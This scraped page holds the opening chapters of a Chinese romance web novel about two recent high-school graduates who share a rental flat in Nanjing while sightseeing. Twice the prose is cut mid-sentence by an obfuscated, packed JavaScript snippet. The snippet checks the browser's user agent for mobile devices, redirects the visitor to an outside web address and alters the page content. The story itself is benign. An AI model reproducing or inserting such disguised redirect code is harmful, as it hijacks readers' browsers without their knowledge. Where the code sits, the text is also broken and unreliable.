《当我在南京旅游遇见crush合租后》 1. 01南京南 《太阳雨》 莫停追/文 - 江岁羽已经一天一夜没睡了。 高考结束当晚,他不过洗个澡的功夫,回来就发现Q.Q账号被迫下线,显示异地登录。 盗号的骗子在列表里肆意狂轰乱炸【在么,能不能借我点钱,晚点再还给你】 这事儿说大也不大,不过是费点时间修改密码把号申诉回来。但说小也不算小,原因是——还真有傻子上当,不由分说地、迅速地、慷慨无私地借了“他”两千块。 为什么是两千块而不是更大的金额呢?因为那傻孩子只有这么多。 毫无意外,他在警局奉陪了仨小时。 钱追不追得回来,难说。 江岁羽纳了闷了:“这钱既然是你的命根子,‘我’问你要你立马就给了?” 李炎说:“我不是想着您急用么。再说了,您大方啊,借贷给您,利息肯定高。” 可得了吧。说好听点是他江岁羽人品好朋友乐意借,说难听点就是李炎高考一结束把智商喂了狗吃。这下别说利息了,赔得连底裤都不剩。 所以啊,那宣传标语诚不欺我——拒绝校园贷,不负青春债。 “本来准备考完去西藏旅游,这下好了,资金暂时没了,老老实实呆在南京吧。”李炎精神状态很美丽,“啊,南京,你就是这样留住我的?” 随后一整夜他闹得江岁羽鸡犬不宁,鬼哭狼嚎、痛哭流涕还是轻的,情到深处,他甚至给这逝去的两千块写了篇哀痛至极的悼文。 江岁羽好不容易得了个清净,眼睫还没合上几秒,一大早接到通知,学校召高考生回去估分。 他顶着比鬼都重的怨气,闭着眼睛在机房的吵吵嚷嚷声中乱填一通。 “昨天刚考完,今天就来估分,当我们是铁人?” “数学疯成这样没人管管吗?” “更疯的是这个选科等级……” “到时候高考成绩公布,别人一看其他省状元个个七百多的总分,就我们这儿四百多分,指不定又说什么‘四百多分搁我们这儿连本科都上不了’,又什么‘高考大省教育水平就这?’天呐,想到我头就要晕。” …… …… 还别说,江岁羽那会儿已经觉得头晕了,脑瓜子被吵得嗡嗡作响。 熬到结束,他只想快点回出租屋躺下补觉。 高中生在学校附近租房子已见怪不怪,毕竟宿舍十点准时熄灯,这点时间哪够学?最后冲刺阶段,哪个不是熬到凌晨四五点还在刷题。当今时代,卷是常态。 火伞高张,赫赫炎炎。 巷子里人影寥寥,蝉声在梧桐浓荫里越发撕裂绵长,不知道惊扰了多少美梦。 - “列车运行前方到站是,南京南站。” “ThenextstopisNanjingnanrailwaystation.” 楚晞听着字正腔圆的播报,脑子自动给它配了个BGM。 为什么会想来南京?反正令她最先心动的是这个铁路局的进站语音。最初在网络上偶然听到时,就没来由地产生一种“我好像和它有个约定”的感觉。 检查了下自己的行李,无一缺失,于是她缓缓朝车窗外看去,内心雀跃。 这种兴奋在下车的那一刹那有些凝滞住。咦,这儿的空气怎么好像烫鼻子?楚晞揉了揉,发觉好似更烫了。 她掏出手机,打开天气软件,查看了今天的气温,最高35℃——认真的吗?现在才六月初哎。 不重要不重要。 南京南不愧是亚洲最大的高铁站,穹顶垂落的网格灯流淌着淡色的光晕,金碧辉煌,流动的人潮在里面像是小小的蚂蚁。 楚晞刷身份证出站,一路跟着指示牌和人流,走了好久才找到地铁入口。正要乘扶梯下去,迎面撞上几个姑娘朝上面捷足狂奔,神情惶恐。 “完了,还有五分钟!” “都说了南京南会惩罚你的,让你拖延!!” “我错了,再也不卡点了呜呜!快跑!” 楚晞瞧着她们狂奔的背影,忍俊不禁。生机勃勃的城市和人,真好啊真好。 初来乍到,一个人难免有种颠沛流浪的感觉。但南京是个极为神奇的城市,竟一下子让她产生了亲切感—— “相聚别离都是刚好,南京地铁祝福毕业生毕业快乐,愿大家在未来的日子里前程似海,一路繁花。” 这段毫无征兆在3号线里响彻的提示音,让新鲜出炉的高中毕业生楚晞瞬间被击中心灵。 它像创可贴一样,温柔且浪漫地覆住了她这一年煎熬生活里细密的伤口。 呜呜呜呜呜,来对了! 出了地铁站,明明天色已黑,但压制不住的暑气还是扑面而来,须臾之间窜上人的肺管子,连喉咙里都是燥意。 当务之急,是要找到她订的短租房。 她准备独自旅游到出分填志愿的那天,粗略算算,这么长时间,住酒店不如租房划算。 但短租也有缺点,房子不太好找,安全性也值得商榷。 符合这两个要求的,倒也还真有。 重点高中的学区房。 首先,高考生六月搬离出租房,新高一又八月才军训搬进来,正好有一个多月的空窗期可以短租。其次,同个小区都是重点高中的同龄人,素质相对高,应该不至于太过担忧安全问题。而且在市区,交通便利,去哪都近。 楚晞拖着行李箱,跟着导航顺着街边走,边打量着两侧的居民楼。外观看上去有点破旧,墙体已经斑驳失色。 受多年看小说经历的影响,她总感觉这种老巷子里,下一秒就得跑出来一个少年主角。 没空多琢磨,当下已经累到发昏的她只想迅速抵达目的地。 没有电梯,楚晞艰难地拖着箱子上楼。楼道里狭窄昏沉,白色墙壁发黄翘起,水泥地面铺着一层薄薄掉落的碎屑。 满头大汗爬到六楼,她扶着膝喘了会儿气,然后依照房东的嘱咐,往门上的小密码箱输数字,顺利地从里面取出一把钥匙。 严丝合缝地拧了几下,门敞开一条缝儿。 屋里像冰窖,冷气冲着外面扑过来,冻得人一哆嗦。 楚晞第一反应是舒服。 第二反应是,房东忘了关空调? 她顺手带起门,摸到玄关的开关,“啪”一下把灯按亮。 屋子一览无遗。从外面看的时候就差不多知道是老破小了,但里面应该重装过,简洁干净,还挺新,实况跟图片视频没什么差别。 楚晞把行李箱往里推了推,滑轮滚了两下,她刚要坐下发消息报平安,哪知忽然瞄到有什么东西在视野的边角莫名其妙地动了两下。 她动作一顿,手指下意识收紧,心里无声呐喊。 鬼!!! 楚晞捏着手机不敢松,指尖抖了下,已经给朋友拨出了一通电话求救。 随着“嘟嘟——”响了两声,深色沙发上突然探出了只白皙的手。 就在她几近叫出声时,一个人影撑着坐了起来,揉了揉短发,懒倦地回头望过来,目光同样不明所以。 是男鬼,年轻男鬼。 有点姿色的年轻男鬼。 他几摞乱乱的碎发擦过突出的眉骨,眼窝深邃。五官极为周正,面部平整度极高,鼻梁高挺,下颌线锋利。 顶光仿佛给这个人打上了一层滤镜,利落的轮廓添了几分柔和。 他皱眉站起来,嗓音凉得像冰薄荷:“你谁?” 她定定看向屋里的年轻男生——眼下他身体松松立着,高高瘦瘦的,脸色算不上友好。 “你又是谁啊?”楚晞强作镇定,声音一点不颤,却已经慢慢地摸到门后,一秒就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……那现在怎么办?你根本没说明这个情况,这样子是违约的。” 房东好言好语:“附近拼租的学生也不在少数,我那房子有两个房间,剩下那个虽说小了点,但你看——” “不行,我又不认识他,而且他是男生。”如果是女孩,她说不定会考虑下,默默咽下这苦果。 果然,进社会的第一课,多半是租房被骗。 “插一句。”江岁羽给手机充上电,提示音响了下,他说,“我也不同意。” 房东被噎了一下,仍有商有量地喋喋不休,却发现这俩人不好糊弄,最后实在难以敷衍,只得以减租金这个方案收场,不然就让她另寻高明。 楚晞吸了口气,妥协了。 拒绝的话,她临时也找不出更合适的住处。只能走一步先看一步。 江岁羽同意,则是因为考虑到了李炎被诈骗。虽说这事儿不能怪到他头上,但毕竟被盗号他确实也有责任,退回的租金正好就送李炎硬座直抵西藏。 而且,眼前这个姑娘确实难办。 …… 是夜,楚晞把卧室的门锁得紧上加紧。 她翻来覆去,无法入睡,不自觉盯着白墙发起了呆。人生头一次新奇的体验,像开盲盒,能开出什么来?尚未可知。 脑海中不自觉浮现江岁羽进自己领地前的最后一幕。他写了张带名字和微信号的纸条递给她:“有问题来找,没事别打扰。” 她刚一点头,门“啪”一声关上,震得耳膜发颤。 想到这儿,楚晞忍不住掀开凉被坐起来,挺直腰杆愤愤地在床单上画个圈圈蛐蛐他。 ...哎不是,他怎么那么拽啊? 2. 02总统府·新街口 高考也有后遗症。失眠了一晚,楚晞次日一觉醒来才六点半,受条件反射影响,她懵懵地开了喜马拉雅听英语听力。 换好衣服,她才如梦初醒,考完了还用听什么?九磅十五便士已经不再是衬衫的价格。 开了窗,她抻了抻腰,捧着下巴把手肘搭在窗台下,沐浴了会儿新鲜阳光。 洗漱的时候,楚晞才真真切切地有了跟人合租的实感。台面置物架上,男生的私人物品齐整整地放着,看样子他可能还有些许洁癖。 于是她小心翼翼地捻起自己梳头时掉落的长发,仔细地清理干净。 楚晞边刷牙边和闺密夏江南小声语音。昨晚的惊险历程自然是要详细说上一番,其次是要嘱咐再嘱咐。 “说真的,要是你有超过半个小时没联系上我,就得立马帮我求救了。” 夏江南:“谁叫你一个人去旅游,现在知道危险了吧?” “请你反思一下自己。”楚晞吐了口泡沫,含糊不清地哼了一声,“谁让你考完得意忘形,摔到骨折住院,直接破坏了我们俩计划了很久的毕业旅行?” 夏江南,最终没能成功下江南。 可悲,可叹。 “别提了。”她问,“你那边靠谱不?合租室友呢?” “好像还没醒。” “不是说是帅哥?多帅?” “帅有什么用啊,人贩子里还有帅哥呢?要是存了心想害人,长得帅才可怕呢——” “咚咚”两声,洗浴间的门被敲响,楚晞僵硬地扭头,一句带着倦意和不耐烦的话被扔了进来:“你还要多久?” 背后讲小话被人逮着了,尴尬。 一秒,两秒,三秒…… 她飞快擦了把脸,然后迅速地拉开磨砂玻璃门。 楚晞尽量装得若无其事,但眼睛一抬,人还是懵了。 那哥们显然还没睡醒,头顶两捋毛往四面八方随便支棱,怪就怪在这里了,这么糟糕的发型他这张脸竟然驾驭得游刃有余,可能是因为棱角清晰,而且白。 此时他懒懒散散地靠在门框边抱着臂等,身上那件黑T明明是很保守的款,却因为领口歪了的缘故,无端露了点锁骨。 “……”她就说吧!人帅才可怕。 楚晞将眼睛往旁边瞥去,讪讪地说:“……我好了,你用吧。” 她捏着手机,空出只手捂脸飞速地往外逃。 还没逃到卧室,就听到大门被人用力地重重捶了几下。楚晞犹疑地瞧了眼身后,思忖两秒后,还是去玄关开门了。 门外立着一个寸头男生,两手拎着满满当当的东西,热气腾腾的,还散发出香味,应当是早饭。他嘴里叼着块锅贴,一抬眼见到她,错愕到咬过的锅贴“啪叽”掉在地上,看样子,好像还是牛肉馅的。 一大早,满街梧桐树上的蝉就开始疯叫了。这会儿只能指望它们打破这凝滞住的氛围。 “嗨,你好。”男生退了两步仔仔细细看清了门牌号,又怔怔走回来,咧牙尬笑了下,脸色精彩纷呈地说,“我找江岁羽。” 也正是这时,他嘴里的人趿拉着拖鞋走出来,揉了把头发,耷拉着目光问:“你来干什么?” “给你送早餐!” “……” 寸头眼睛一斜问:“妹子,一起吃吗?有很多。” “……不用了,谢谢。” 楚晞降低存在感,默默溜回了房间,心里不断嚎叫着,什么跟什么啊,他那个表情一看就想得很歪! 外面也在嚎。 老破小,没办法,隔音效果很差,说什么话一下子就能听得格外清晰。 如今回想起来,江岁羽不会是被她打电话的声音吵醒的吧? “我靠。”李炎眼珠子都快瞪出来,魂不守舍地喊,“你什么情况?不对啊,明明都洁身自好这么多年了。” 冰箱门开了又合上,江岁羽从里面拿了瓶水,冰雾化开染了指尖,灌了口凉水,终于是清醒了点:“她?房东干的好事儿。你不是买了下午的火车票?” “昂。所以这不是走之前来找您打发打发时间么?还有,听我说谢谢您,感谢有您……”李炎转瞬就被他的话带着走了。 “停,下午我要睡觉。等车实在无聊的话,麻烦出南京站,到对面的玄武湖呆着混时间。不要骚扰良民。” “……”李炎嬉嬉笑笑地,“别啊,你真不一起去?景点我都看好了,要预约的免费的学生票半价的,都记脑子里嘞。我跟你讲,有的可难约了。” “我高反——” 话还没说完,突然被一声闷叫打断。 “啊——” 两个男生不明所以地朝声源望过去,只见楚晞背着双肩包,一把拧开了门,抓狂地把扎好的马尾胡乱地揉炸毛掉,眼神生无可恋,打着电话像是在吐血:“又没约上……” - 不就是没约上纪念馆吗? 没事儿,时间还长。 每天8点都到公众号抢,迟早能行。 还好计划第一天要去的总统府预约没满。 出门就有一个顶好的视角。不远处正是江苏第一高楼——紫峰大厦。外立面是玻璃幕墙,阳光一照,明晃晃地闪亮着。大厦的尖顶迎着光延伸,看着像是要与天际线肩并肩。 新旧交融在这座城市身上体现得淋漓尽致。 抬头是时代,低头是市井。 她没来由想到这句话。 …… 南京总统府是民国建筑的主要代表之一,也是中国近代建筑遗存中规模最大、保存最完整的建筑群[1]。历史可追溯到六百多年前,1912年孙中山先生就是在这里宣誓就任中华民国临时大总统。 一进去,牌匾上“天下为公”四个大字率先映入眼帘,是孙先生手书。屋内红柱有合抱粗,雕梁画栋,大堂四周的墙壁上镶嵌着各时期的风云人物。 在历史书上都鼎鼎有名。 楚晞脱了防晒服,以手作扇给自己整点儿风——“哐当”一声,一不留神,她差点被绊倒,这门槛怎么这么高啊呜呜呜,刺客! 难怪1930年英国大使在礼堂递交国书时,会摔了个狗啃泥。 八字厅、麒麟门、子超楼……顺着人流走,既有婉约的传统江南园林,也有棱角凌厉的西式建筑。 门票钱花得太值了,囫囵吞枣逛了三个小时,带的矿泉水都喝完了,还没逛完,楚晞怀疑自己今天的微信步数截至目前至少得有两万。 出了总统府,便是以民国建筑风闻名的1912街区。午餐在这儿尝试了南京大牌档,她一个人没敢多点,谨慎地要了攻略里强推的菜。 感觉最对胃的还是美龄粥! 淡淡的奶香,甜而不腻。 休整一会儿,楚晞感觉自己快要变扁平足……好累。本想着今天就到此为止,但又发觉从这儿乘2号线,一站就可以到新街口,想想还是得去。 新街口,位于南京的中心区域,被誉为“中华第一商圈”,高楼林立,鳞次栉比。 但她最最想见的,倒不是繁华的CBD,而是位于中心一百平的那尊铜像。 不跟团旅游就是有这个好处。人是自由的,计划是随时可以改变的,想去哪儿停留多久都是自己做主的。 但是吧。 坏处也是肉眼可见的。 …… [迷路,算可以找你解决的问题吗?] 微信弹出来时,江岁羽正靠在沙发上百无聊赖地摁着遥控器。 自从上初中后,他好像就忘了有电视机这号产品。如今“旧友相逢”,他却发现对方已是面目全非。现在电视都联网,看个电影综艺要一对一挨个充会员,他的状态,有点类似那个流传的表情包,“地铁老人看手机”。 眼下他瞧到楚晞的消息,皱了皱眉发了个“?”过去。 昨天加上好友、互通姓名后,聊天界面就是一片空白了。原以为这种相安无事的情况会持续到退租,没成想第二天就开始出人意料。 江岁羽:[迷路找导航。] 楚晞:[试过了,导航在地下没法使,像死了一样。] 江岁羽又一个“?”过去了。 [你在哪儿?] 楚晞:[新街口地铁站。] 哦,那倒也正常。 占地7.6万平方米,共有24个出站口,四通八达,每个都得走很久很久。且每个出站口又有好几个分叉,就像一个巨大的地下迷宫。本地人都不敢说自己了如指掌。 大到什么程度呢?几百个商家在里面开店。奶茶店小吃店那都是弟弟,婚纱店都混在里面。 江岁羽眼皮跳了跳,坐起来两秒,想到什么又歪了回去。 [建议拉个路人问。] 楚晞握着手机把这段无情的文字看了三遍,忍不住深吸一口气,然后手指急速地在屏幕上敲敲敲。 [你以为我没问吗?] [我问了五个人!五个!] [其中两个是一无所知的游客] [又有两个是有点知但又不完全知的大学生] [他们一指,错上加错] [最后一个奶奶是南京人] [但我听不懂南京话……] 隔了一会儿。 江岁羽:[所以呢?] 言下之意,我跟你很熟吗? 楚晞没辙了,闭嘴沉默了会儿。 她也不想麻烦只认识两天的人。但是她已经在这个迷宫里绕了快一个小时了,再不拯救自己的双腿,明天就得在床上瘫一天。 好累。好想回去躺着。 实在没办法,她可怜兮兮地说:[你是我在南京唯一的人脉。] 江岁羽:[这下子不怕被我这人贩子害了?] “……”楚晞被砸蒙了。敢情早上她和朋友的对话,全都被他听了去?天道好轮回,现在回旋镖扎中自己,忽然觉着好痛。 [不打扰了。] [我再去尝试寻觅一下警察叔叔。] 刚撂下这一句,微信电话就弹了出来。 楚晞手忙脚乱找到耳机戴上点接通,瓮声瓮气地“喂”。 “摄像头转过去扫一圈,我看你在哪儿。” 他声音低低的,但不拖泥带水。 楚晞站得太过迅速,导致眼前一黑,差点栽下去,手机摄像头自然也跟着天旋地转。 “怎么?” “我蹲太久了,麻了……” “……” 江岁羽能想象到那个画面。人来人往之中,这姑娘可怜巴巴地找角落缩成一团蹲着,她到底得有多累? “你去哪儿?” “去新街口的正中心。” “完全反方向。”他指挥,“转个身,沿直线往前走,先回到大圆盘。” 大圆盘? 这个说法很形象。刚楚晞就是从那儿过来的,现在又要走回去? 她无可奈何地“啊”了一声,想死之心溢于言表。 “你去看铜像?” “你怎么知道?”楚晞腾一下,有点讶异。 “正中心只有那个。” “哦。”她问,“去看那个很奇怪吗?” “比起去德基看造价两千万的豪华厕所,你这个确实称不上奇怪。” 啊……要不是实在没力气,本来她也准备顺便去瞧瞧全国闻名的厕所呢……虽然“专门去打卡厕所”这事儿,的确听起来不太正常。 大圆盘到了。 这里好像是南京人碰头的重要场所,五步一朋友会面,十步一情侣约见。 “找到8号口,跟着标牌出去。”江岁羽准备功成身退,“我挂了。” “哎哎哎哎别!” “又怎么?” “还是等我到了再挂吧,如果又一次迷路,再打给你我会不好意思的。” 那你现在就很好意思了? “你就当听个响儿。”她说。 说是这么说,但江岁羽才发现这姑娘其实是个话痨,第一面瞧起来蛮高冷蛮有戒心的样子,但其实适应力很快,也挺单纯的。她一路上碎碎念就没停过。 “24个出口你都很熟吗?” “嗯。” “那我考考你。” 江岁羽:“……”倒反天罡。 “‘我滴乖乖’是什么意思?刚问路我只听懂了这句。还以为她在说我是她心肝宝贝呢,给我吓一跳。” 江岁羽:“……” “你知道吗?” 江岁羽:“没什么,语气词。” “那‘来斯’是什么?我看地铁里的扶手上全贴着这个。” 江岁羽头疼。 楚晞:“‘斯’在古文里有‘这’的意思,‘来斯’是指要‘来这’?我猜对了吗?” 江岁羽面无表情:“不,是在说你笨。” 楚晞:“……” “江岁羽,你来斯啊来斯。”她现学现用。 “谢谢。”他还挺有礼貌。 “?” “其实是夸人的意思。” 楚晞气笑了:“你不说是骂人的吗?” 江岁羽:“我说你就信?” 楚晞问:“那夸的是什么?” 江岁羽脱口而出:“牛逼。” 楚晞懵了会儿,气鼓鼓地笃定道:“你骂我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717580|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江岁羽:“……” 真告诉你了,你又不信。 隔了一小会儿,楚晞又按耐不住地开口了。 “还有一个问题哦,为什么满街的梧桐树都是三四股分叉的,我在其他地方没见过这样的,有什么特别的寓意吗?” 江岁羽顿了一下,嘴唇张开又闭上,随即又张开:“防止外星人入侵,做成巨大弹弓的样式,来一个弹走一个。” 这家伙真是…… 楚晞服了。 在一番对牛弹琴的交谈中,终于找到了出口的扶梯。 站上上行扶梯,她低头看了眼屏幕。他没挂断,应该是把手机随意地置在腿上,有一搭没一搭地回她。视频接通时,他没翻转自己那边的摄像头,于是他的侧脸此刻清晰地出现在镜头里。 楚晞有点好奇,怎么会有人下颌线那么清晰,左右脸那么对称。 出于本能,她一直盯着视频通话里的人看。 “你干什么?” 手机拿近,他整张脸贴上来,冲击力不外让人吓一跳。 原来是扶梯已经到了尽头,她却没有任何反应。他从她的后置摄像里看到了。 就在她手忙脚乱时,倏地“咔嚓”一声,不知道怎么的,突然触发了截屏功能。 自动保存到了相册里。 “没什么。”楚晞撇过视线,“谢谢你。” 从地铁站出来,就看见无数建筑拔起,天空是蓝调时刻,高楼蔽日,霓虹亮灯,人显得如此渺小。 但比起繁华和纸醉金迷,她倒更愿意用内敛舒适来形容。 寸土寸金的市中心果然空出了一百平米,那是个十字路口,有个小花坛。而花坛之上是11.12米高的雕像,这个数字代表着中山先生的诞辰。 西装大衣,马甲领带,右手执手杖。 雕像矗立在十字路口的正中央,而各类车辆有条不紊、井然有序地围着它的四周绕行。 它悲悯又慈爱地,注视着这座繁荣的城市和熙攘的人民。 天空之下,大地之上。不论晨昏,不问晴雨。 好奇怪…… 越是人声鼎沸,却越觉得热泪盈眶。 仅仅只是看着而已。 大概是文科生刻在骨子里的矫情因子在作祟吧。但楚晞也无比感谢这份矫情,让她在现实世界还葆有一份理想主义。 她低声感叹说:“最贵的一百平米,留给了国父。” 回应她的,是傍晚沉闷的夏风、数道汽车的鸣笛声,以及那个消失很久却又忽地冒出的声音。 “错了。”江岁羽手指轻敲了两下,垂着眸子说,“他在这儿,这儿才是市中心。” 楚晞有一瞬间是恍然的。 还没措辞出口,就见他撂下一句话挂断了。 “回来坐公交,100路20分钟直达门口。” 语气又冷又淡。 “……” 她总觉得他言下之意是,这你还迷路的话,那就没救了。 - 楚晞洗完澡,趴在床上给朋友打电话,两只腿翘起在空气中甩来甩去。 “我跟你说,他可难搞了!回来的时候,亏我还带了黄记玉米汁和张记灌饼报答他!那个可好吃了!” 又想起这屋子隔音很差劲,她心虚地放低声音补充道:“结果他就那么冷淡地点了点头。然后,没了!就没了??” “嗯?有什么不对的吗?挺客气的呀。不是,你搞他做什么?”夏江南憋笑,“早上不还把人家比作是人贩子,担心人家要害你?现在不跟你套近乎,不是正中你下怀。” 楚晞在床上滚了几下,觉得不得劲,趿拉拖鞋下去。 她的房间小得可怜。一张单人床,一个窄窄的床头柜,一只朴素的小桌子、一把小椅子……再也没有其他的空间了。 “话是这么说啦……” 她讲电话必须要三心二意干点其他事儿。躺下的时候是要无厘头地揪床单,现在坐在椅子上,她左右瞧瞧,好像也只有一旁墙角那堆破得没边儿的杂书堆值得做些文章。 “可我突然觉得他好像不是个坏人。”她说。 “哟,这么快就改变主意了?果然,长得帅确实可怕。恕我直言,出门在外一定要有防备之心,你就知道他一个名字,能看出来什么?这都是敌人为了让你放松戒心使出的手段——” “嘶……” “你‘嘶’什么,咋了?” 楚晞抖了抖从那堆书里抽出来卷子上的灰尘,一脸震惊地左看右看,遂喃喃陈述:“南京数学卷子……没有选择题?!” 夏江南:“?” “怎么忽然讲到数学?”她是个数学渣渣,听到这个名词就头痛。 “我刚坐这儿,见旁边有一堆破书,有五三、必刷题、恩波38套这些……像是没人要了,落了八丈厚的灰,就随手从里面抽了一张空卷子看看。” 应该是江岁羽的。这间房之前没人住,他也许是当杂物室来用,不要的东西全堆这儿了。 “仔细翻翻,真没有哎,不会高考卷子也没有选择吧?那他们也太可怜了,蒙都没法儿蒙。” 嘴上这么说,但楚晞的语气明显有点幸灾乐祸。 知道世界上有人比自己过得更苦,心里真的会没来由地变得平衡。 “我真服了你了,现在提什么高考啊?”她被气笑了。 “好吧好吧,言归正传,刚我们说到哪儿了?”楚晞手闲不下来,再一次从书堆里抽了本什么出来,没太当真地随便翻翻。 “说他坏!”朋友没太好气地说。 …… “喂?喂喂??人呢?楚楚?” 好一会儿。 “江南,”楚晞出声,轻轻地说,“我大概,也许,好像,不小心翻到了他的日记。” “你好坏哦。” “那我要把眼睛挖了吗?心碎。” “还是留着吧。” “但是,我现在有一点点确定了……” “什么……?” == 「12.31晴 被朋友拉到新街口跨年。 很巧,站在中山先生的铜像之下。 南京的上空再也没有飞机和大炮,再也不是枪林弹雨。 这万人齐放、漫天纷飞的五彩气球,如夜星般,闪耀满城。人群熙熙攘攘,欢声笑语不绝于耳。 有一瞬间,我竟真的希望存在平行时空,当两个世界交错, 这是您所期盼看到的,百年之后的中国吗?」 == “感觉他是半夜写东西能把自己写掉眼泪的那种人,能是什么坏人?” 3. 03博物院·鸡鸣寺 年轻总是有使不完的牛劲儿。 昨日还嚷嚷着累到腿都抬不起来,今天一早楚晞还是元气满满地出门了。 南京博物院从一大早就开始排队,放眼望去,不管哪个馆前都是人山人海。这也难怪,毕竟是中国三大博物馆之一,无论工作日还是假期,永远都被游客塞得满满当当,根本没有淡季。 [对不起哦] 楚晞站在烈日之下,扣上防晒服的帽子,一只手挡在屏幕上制造出阴影,另一只手熟练地敲下这四个字,发送给江岁羽。 还未细说,保安过来维持秩序,因为主馆历史馆前排的人实在太多,便分流群众往其他馆去,楚晞就被疏散到了艺术馆。 不过她时间充裕,便觉得无所谓,反正各个馆之间都是打通的。 从艺术馆逛到特展馆,镇院之宝便在此处浮现出真身。金兽,西汉时期的文物,重9100克,含金量高达99%,她不由在心里计算起来,按照现在市面上流通的金价,这玩意儿得值多少钱? 当然,南博不仅有许多令人咂舌的文物,还有不少丑东西。 这会儿她就在一边浏览一边跟夏江南吐槽。 楚晞:[图片][图片] 楚晞:[你快看!这马真的好抽象啊!笑死了哈哈哈哈哈哈] 楚晞:[真的好奇,师傅雕刻它的时候不会笑吗?] 夏江南:[你别说,你还真别说!] 夏江南:[看久了还挺上头。总觉得它在对我翻白眼,要不就是想嘟嘴吻我。] 楚晞:[一般丑的我不看,丑得不一般的,我必须得合影留念。] 夏江南:[大拇指][赞.jpg] 楚晞刚放下手机,微信就提示进了一条消息。 江岁羽:[什么?] 在馆外要说的话只发了一半,如今得了空,楚晞认真回复了起来:[我房间有一堆书,好像是你的东西。昨天晚上出于好奇我擅自翻看了一下,不好意思啊。] 江岁羽:[哦。] 哦,就是知道了。 楚晞:[你没生气吧?] 江岁羽:[想多了。] 楚晞:[那些你都不要了吗?] 江岁羽:[高一的。] 意思是,这都是多少年前的东西了,他都不记得有些什么,要它们做什么。 高一啊……那大概就是他16岁? 哇,那会儿的青葱少年就是深夜感性的林黛玉了。 楚晞:[那我还可以继续翻吗?] 江岁羽:[?] 江岁羽:[随你。] 楚晞:[真的吗?那我不客气咯!] 他没有再回复。 18件镇馆之宝都被她看了个遍,历史馆都逛完了,他还是没有回复。 楚晞眯着眼对着手机屏幕上他的头像,自以为狠狠地“哼”了一声。 装什么bking,一点都不可爱。 但他,有时候吧,还真的挺…… == 「5.12晴 春游拖成夏游。 合理怀疑学校领导偷懒,实在想不出来去哪儿就会把学生塞进南博。 短短十年上学生涯,被塞进来八次。 坐着休息的时候,总觉得前面那马抽着鼻孔,鬼迷日眼地睥睨我说:哟,小子,又来了? 实在骂很脏。 可惜了,小粉炉今天不在馆,在外出差打工给家里挣口粮。 最后只能在民国馆逛逛,这地方倒是常来常新,可能是因为怀旧吧,毕竟记忆这东西,总需要实物来承载。 我猜,明年应该会来第九次。 如果没来,那我就回来划了这句话。」 == 嗯,还真的挺萌的。 她是说小粉炉。 小粉炉,是指芙蓉石蟠螭耳盖炉,通体粉得晶莹剔透,在灯光下美得像一副凝固成画的晚霞,又似春日里盛放的灿烂樱花。螭龙身形被雕刻得灵动自然,栩栩如生。 谁能想到喜欢丑东西的乾隆皇帝难得也有审美在线的时候,小粉炉在他那一堆花花绿绿的收藏品中应该算得上是鹤立鸡群? 当然啦,写这篇的人也有一点点萌。 这个时候的江岁羽,才是男高中生的样子嘛。有点吊儿郎当,有点爱开玩笑,肆无忌惮挥霍着身上生机勃勃的少年气。 “萌什么萌?你脑袋被驴踢了?”夏江南无法想象她这么形容一个男的,“你没上过学啊?我们班的都是死气沉沉、头发油腻、满脸痘痘,参差的胡茬,呆滞的眼神,邋里邋遢……” 总结来说,就是挫。 楚晞跟着叹了一口气,发语音说:“正是因为上过学,有了对比才有伤害啊。” …… 民国馆是她最喜欢的地方。 整个做成上世纪三十年代老南京城的模样,红砖瓦,雕花窗,留声机吱呀,电车叮当,老旧的火车站,复古的邮局和古董铺子,还有电话亭和黄包车……连空气中都带着旧时光的胶片质感。 一键穿越百年前。 江岁羽说得没错,记忆是需要实物来承载的。 早知道就特地挑件旗袍穿了,她叹。在这样的场景下一定很出片,就像电影里那样,十里秦淮,金陵一梦。 文创店里,楚晞大买特买,不留遗憾。 在南博里步数已经有了两万,但她一点没觉得累,反而很兴奋。下午她还有安排,所以就近找了家店吃午餐。 来南京怎么能不吃鸭子? 今天她的目标就是吃上全鸭宴。 她点了份鸭血粉丝汤。 楚晞给手机插上充电宝,提示音一响,她开始整理图片发朋友圈。 她每换一次手机就得弄丢许多美丽的照片,后来一想,朋友圈不就是免费的永久保存地?那不发白不发。 夏江南给她秒点赞。 暑假里闲着没事干的同学们,一个两个都给她点上赞了,江岁羽还是毫无动静。 她怀疑他根本就不看。 点进他的头像一看,果不其然,这个人根本连朋友圈都没开。主页压根就没有这个功能。 他真的活在这个时代吗? 在她编辑文字的时候,店员端着热腾腾的鸭血粉丝上来,习惯性地用地道方言说:“啊要辣油哎,要的话小瓶自己加。” 来了几天,她隐隐约约懂了几句常用的南京话。 南京人好像特别喜欢用“啊”这个字开头。问要不要辣油,说的是“啊要辣油”;问是否是这样,用的是“啊是”;问对不对,就用“啊对”……照这个规律,岂不是所有表选择的疑问句都可以这样表达! 有点儿神奇。 [我在南博买了文创,送你] [图片] [小粉炉,我挑的是最好看的!] 粉丝汤的汤底很鲜美,料很足,鸭货处理得很干净,鸭血嫩嫩的,鸭肝不苦,鸭肠不腥,豆腐果吸饱了汤汁,很入味。 辣椒油是店家自己熬制的,闻着特香,吃起来倒是不辣。 鸭血、鸭肝、鸭肠、鸭胗…… 这儿是不是鸭子的什么部位都吃? 怪不得网上说,没有一只鸭子能活着逃出南京。 …… 下午行程是去鸡鸣寺。 这座一千多年的南朝第一寺,在现代也颇为有名。大多数外地人听说它,可能是因为那段很浪漫的话—— 江苏大学文学院的老师说,一定会给学生两次逃课的机会。一定会有什么事比上课重要。比如楼外的蒹葭,比如今晚的月亮。 前者寓意爱情,后者寓意故乡。 